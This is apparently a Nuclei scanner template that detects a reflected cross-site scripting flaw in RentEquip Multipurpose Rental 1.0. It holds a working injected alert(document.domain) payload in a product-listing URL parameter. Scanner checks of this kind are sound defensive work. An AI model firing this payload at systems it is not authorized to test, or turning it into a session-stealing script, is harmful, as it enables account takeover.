id: rentequip-xss

info:
  name: RentEquip Multipurpose Rental 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://vulners.com/packetstorm/PACKETSTORM:173002
    - https://www.exploitalert.com/view-details.html?id=39611
    - https://codecanyon.net/user/kreativdev/portfolio
  metadata:
    verified: true
    max-request: 1
  tags: xss,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/shop/products?category=cordless-tools&min=1026553%3balert(document.domain)%2f%2f772"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "rentequip") && contains(body, "1026553;alert(document.domain)//772")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022012efe26549622bc12039d5d40a3338c514a1654cf8a88f897ffc91ff583bad5c022100cb45c52f01b19030ebd3ae3e8ec15f64b44e70fa06120c44851614c3ba5d9da7:922c64590222798bb761d5b6d8e72950